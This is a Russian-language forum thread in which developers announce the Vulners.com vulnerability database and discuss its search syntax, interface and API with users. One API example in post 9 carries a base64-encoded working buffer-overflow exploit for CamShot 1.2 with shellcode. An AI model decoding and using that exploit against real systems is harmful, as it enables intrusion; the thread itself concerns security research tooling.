vulners.com: Запилили свою базу данных уязвимостей

Discussion in 'Песочница' started by isox, 11 Jan 2016.

  1. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Йо)
    В общем в очередной раз когда у меня вытекли глаза от CVEDetails и его интерфейса родилась идея запилить свою базу данных уязвимостей и прочего секьюрити-стафа. Собственно, что мы небольшой командой и сделали. Получился Vulners.com.

    Весь движок написан на Python, в качестве базы MongoDB + Elasticsearch. Монга только для роботов-сборщиков информации, эластик только для фронтэнда. Ну посколько эластика для нас в новинку, то поиск хоть и работает весьма прикольно, но порой абсолютно непредсказуемо. Как и поиск кросс-референсов. Но обычно выдает именно то, что нужно.

    Собственно, чего там интересного и как искать. В данный момент в базе лежат security-advisory всех основных вендоров ОС, все CVE, весь ExploitDB, Metasploit, публичные репорты с HackerOne, VulnerabilityLab, публичные темы с Rdot, уязвимости софтов вроде OpenSSL и Mozilla и всякая мелочь.
    Основным удобством является lucene строка поиска с возможностью использовать dork-и. К сожалению, help мы все еще не родили и информацию приходится передавать первым бета-тестерам лично.

    Вот пару примеров dork-ов:
    type:hackerone team.name:yahoo - получим все уязвимости на H1, которые есть у Yahoo
    type:hackerone sql injection - так все упоминания SQLi, которые были в репортах
    type:exploitdb "windows 10" - эксплойты с эксплойтДБ с упоминанием Win10
    reporter.username:isox - все репорты от указанного %username%
    type:eek:penssl heartbleed - ищем только по репортам OpenSSL
    type:cve cvss.score:[8 TO 10] - совмещенный критерий. Ищем CVE с CVSS score 8 до 10

    Ну собственно главный их минус, это не очевидно что является ключами дорков и какой синтаксис.
    Пока мы не родили suggest (надеюсь, на следующей неделе, с релизом 2 все будет), единственный вариант - смотреть исходный текст страницы, там будет data и исходным видом элемента. Любые имена ключей в json можно использовать как дорк.

    Мелкая полезная фишка - когда ты открываешь элемент. Например CVE-2010-3881, то внизу страницы будут автоматически подтянутые референсы. От самых релевантных к наиболее "похожим" с точки зрения шайтан-алгоритма. К примеру тут он сразу предлагает патчи для Ubuntu. То есть, когда есть актуальная связь через CVE-id, то все работает красиво. Подтянутся и эксплойты, и метасплойт-модули и все остальное.

    Вот такая вот поделка, надеюсь вам пригодится в быту.
    Стараемся ее делать лучше по мере получения отзывов.
    Рады любым фидбекам и фича-реквестам.
     
  2. 1qoot1

    1qoot1 Member

    Joined:
    13 Jan 2014
    Messages:
    48
    Likes Received:
    10
    Reputations:
    1
    Добавить бы сортировку, по датам/актуальности, фильтры по годам.
     
    isox likes this.
  3. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Фильтр по дате будет уже не следующей неделе.
    Я там маленько лоханулся в mapping-е эластики и сделал published: ключ строкой. Что бы поправить надо мигрировать индекс, а это не так просто и быстро.

    Про сортировку понял: Сортировка по дате. А что есть актуальность?
     
  4. frank

    frank Member

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    95
    Reputations:
    28
    Идея хорошая, спасибо :)
    Собственно как некий тестер выступлю, по интерфейсу, так и было задумано, как у меня на скрине? Я про расположение нижнего окна, по отношению к краю экрана.
    http://pastenow.ru/HTNM
     
    isox likes this.
  5. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Спасибо за тесты. Нам очень не хватает живых примеров)
    Нет, оно должно было быть в левой колонке. При таком отображении "референсы" по разным типам бюллетений выстраиваются в блоки по типу с сортированнымм по релевантности title. То есть, этот блок должен был быть крайним слева.
    Можно данные браузера, что бы воспроизвести?
     
  6. frank

    frank Member

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    95
    Reputations:
    28
    Версия 46.0.2490.80 m Хром
    монитор 22 дюйма, разрешение 1920 на 1080, хотя наверно это лишняя инфа :)
     
  7. vankyver

    vankyver New Member

    Joined:
    12 Jan 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    На самом деле так изначально и задумывалось, но думаю мы будем пересматривать некоторые аспекты дизайна :)
     
  8. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
    API будет?
     
  9. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Для поиска:
    GET /api/v0/search/type:cve HTTP/1.1 ---> Строку поиска пихаем после /search/
    Host: vulners.com

    Отдает json:
    {"results":[список dict-ов элементо]}

    Для листинга:
    GET /api/v0/hackerone/ HTTP/1.1 ---> После /v0/ пихаем тип элемента
    Host: vulners.com

    Отдает json:
    {"count":123, "results":["123","123"]}
    В results список id, которые можно потом вынуть вот так:

    GET /api/v0/hackerone/52181 HTTP/1.1
    Host: vulners.com

    Отдаст json:
    {"results":{элемент из базы}}

    Пример для ExploitDB:
    GET /api/v0/exploitdb/ HTTP/1.1
    Host: vulners.com

    {"count": 35429, "results": ["EDB-ID:11226", "EDB-ID:11264", "EDB-ID:11257", "EDB-ID:11233", "EDB-ID:11240", "EDB-ID:11271", "EDB-ID:11288", "EDB-ID:11238", "EDB-ID:11245", "EDB-ID:11276", "EDB-ID:11408", "EDB-ID:11357", "EDB-ID:11364", "EDB-ID:11369", "EDB-ID:11376", "EDB-ID:11403", "EDB-ID:11383", "EDB-ID:11395", "EDB-ID:11410", "EDB-ID:11352", "EDB-ID:11281", "EDB-ID:11293", "EDB-ID:11298", "EDB-ID:11301", "EDB-ID:11286", "EDB-ID:11325", "EDB-ID:11318", "EDB-ID:11306", "EDB-ID:11320", "EDB-ID:11262", "EDB-ID:11228".......]}

    GET /api/v0/exploitdb/EDB-ID:11272 HTTP/1.1
    Host: vulners.com

    {"results": {"description": "CamShot v1.2 SEH Overwrite Exploit. Remote exploit for windows platform", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceB64": "b'IyBDYW1TaG90IFNFSCBvdmVyd3JpdGUgYnkgdGVjbmlrDQoNCmltcG9ydCBzb2NrZXQsIHN5cw0KDQppZiBsZW4oc3lzLmFyZ3YpIT0yOg0KICAgIHByaW50ICJVc2FnZTogY2Ftc2hvdC5weSA8dGFyZ2V0PiINCiAgICBleGl0KCkNCg0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkNCnMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sODApKQ0KDQpwcmludCAiU2VuZGluZyBFeHBsb2l0IHRvOiIgKyBzeXMuYXJndlsxXQ0KDQojIEdFVCByZXF1ZXN0ICsgb3ZlcmZsb3cgc3RyaW5nDQpyZXF1ZXN0ICA9IkdFVCAvIg0KcmVxdWVzdCArPSJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiDQojIHNob3J0IGp1bXAgb3ZlciBTRSBIYW5kbGVyIEFkZHIgb3ZlcndyaXRlDQpyZXF1ZXN0ICs9Ilx4OTBceDkwXHhFQlx4MDciDQojIG92ZXJ3cml0ZSBTRUggdG8gcG9pbnQgdG8gbWZjNDAuZGxsIChubyBTYWZlU2VoKSBKTVAgW0VCUC00XQ0KcmVxdWVzdCArPSJceDlBXHhGN1x4QTlceDYxIg0KIyBOT1AncyBJIGhhdmVuJ3QgY2xlYW5lZCB1cDsgU1VCIEVCUCwtNTA4OyBYQ0hHIEVCUCxFRFg7ICh0byBzZXR1cCBCYXNlIEFkZHIgZm9yIEFMUEhBMyBlbmNvZGVkIHNoZWxsY29kZSkNCnJlcXVlc3QgKz0iXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4ODFceEVEXHhGOFx4RkFceEZGXHhGRlx4OTBceDkwXHg4N1x4RUEiIA0KDQojIEFMUEhBMyBlbmNvZGVkIChsb3dlcmNhc2UgYXNjaWkgd2l0aCBFRFggYmFzZSkgTWV0YXNwbG9pdCBzaGVsbGNvZGUgKEV4ZWMgY2FsYy5leGUpDQpyZXF1ZXN0ICs9ImozMTRkMzRkanEzNGRqazM0ZDE0MjFyMTFyN2ozMTRkMzRkajIzNGRrbXI1MDJkcjVvMGQyNXVzejg1NTYxazIwMjEzbzgzMDYwNDk5OTEzbzI2NTZlMzI3ZTc5bGQxMzAzbDJrODhnbmQweDN4bXhsazg1NmM3Y240MGswNDlrbGU2NTcwb2IweGtrOWQzOTAxb2s1ZDNkbng1YzBlbXhuODMxbzU3Y294Nng1ZDRiNWRuZzZma2czMjI1MzJsOTExbDRvZjRrOGszeDg5bGRtYzE1MXhqOTUzbmZreDZmMzMzYzE5bDBtZTY0NWcxMjU0b2ttZWw1MDUwMjNjbzMwZW84N2ZtMTc4amczMG04bjJsMTRnNGM4ZWwzNDI5OTdiNXg5eG4wNDk4NDV4b2s0NDE1NTAzZzNnbjQxZm1kbGI2Zm5rNjI5Y2prazJqNTk4NzhuMjNlNDEzODgxbmI5YzFmbWUyNDFnbDFueDBlNzExMzY5bmU5MGoxM2UwYjEyMGRrZTU4MWQ0MjEyMWNvMDdjODNrMmxlbGU0eDVrM2Q3Z284NGQ5YzAxNXgwMzhkMzJsNW8zNmcwODhjMGI5MzAyMjlqOW9lN3gzMzJiamc4ZjM4MjVuazQyMjA4MTg4OGNseDlnMGszY2w1ajhrZjcxMzkxOTciDQoNCg0KcmVxdWVzdCArPSIgSFRUUC8xLjFcclxuIg0KcmVxdWVzdCArPSJIT1NUOiAxMjcuMC4wLjFcclxuXHJcbiINCg0Kcy5zZW5kKHJlcXVlc3QpDQoNCnByaW50ICJEb25lLiINCg0Kcy5jbG9zZSgpDQo='", "cvelist": [], "type": "exploitdb", "lastseen": "2015-08-08T02:59:56", "author": "tecnik", "title": "CamShot 1.2 - SEH Overwrite Exploit", "href": "https://www.exploit-db.com/exploits/11272/", "id": "EDB-ID:11272", "published": "2010-01-27"}}
     
    pravdaru and rct like this.
  10. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Все возможные значения type можно вынуть вот так:

    GET /api/v0/suggest/distinct/type HTTP/1.1 ---> Здесь можно еще попихать другие имена полей после /disctict/{field_name} и получить примеры
    Host: vulners.com

    {"results": ["cve", "exploitdb", "debian", "metasploit", "ubuntu", "centos", "suse", "hackerone", "mozilla", "rdot", "vulnerlab", "opera", "openssl"]}
     
    rct likes this.
  11. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    307
    Reputations:
    51
    Возможно источники стоит отдельно как то выводить при поиске с возможностью выбора, типа какого нибудь выпадающего списка.
    Под кнопкой Next светится rd_arrow_right)
     
  12. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Мы хотим сделать авто-подскази в духе Гугла. Что бы он подсказывал возможные dork-и и их значения. Ну и help-пейдж.
    А как было бы удобно?
     
  13. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    912
    Reputations:
    363
    с гуем и кнопочками :)
     
    _________________________
  14. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Перегружать интерфейс страшно...Пояснишь как было бы вкусно для тебя?) (https://moqups.com/ - крутая штука)
     
  15. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    и ещё с кнопкой hack которая всё сама делает за тебя. находит уязвимость заливает шел и даёт сылку на шел.
     
  16. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,116
    Likes Received:
    828
    Reputations:
    231
    шелл не заливает,но узявимости находит ) https://www.punkspider.org/
     
    _________________________
    BabaDook likes this.
  17. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    спасибо дружище.))
     
    grimnir likes this.
  18. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    307
    Reputations:
    51
    Можно сильно не перегружать)
    http://prntscr.com/9p39yw
     
    isox likes this.
  19. isox

    isox Member

    Joined:
    11 Jan 2016
    Messages:
    23
    Likes Received:
    22
    Reputations:
    12
    Спасибо :) Взяли в работу :)
     
  20. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
    Збс)
     
Loading...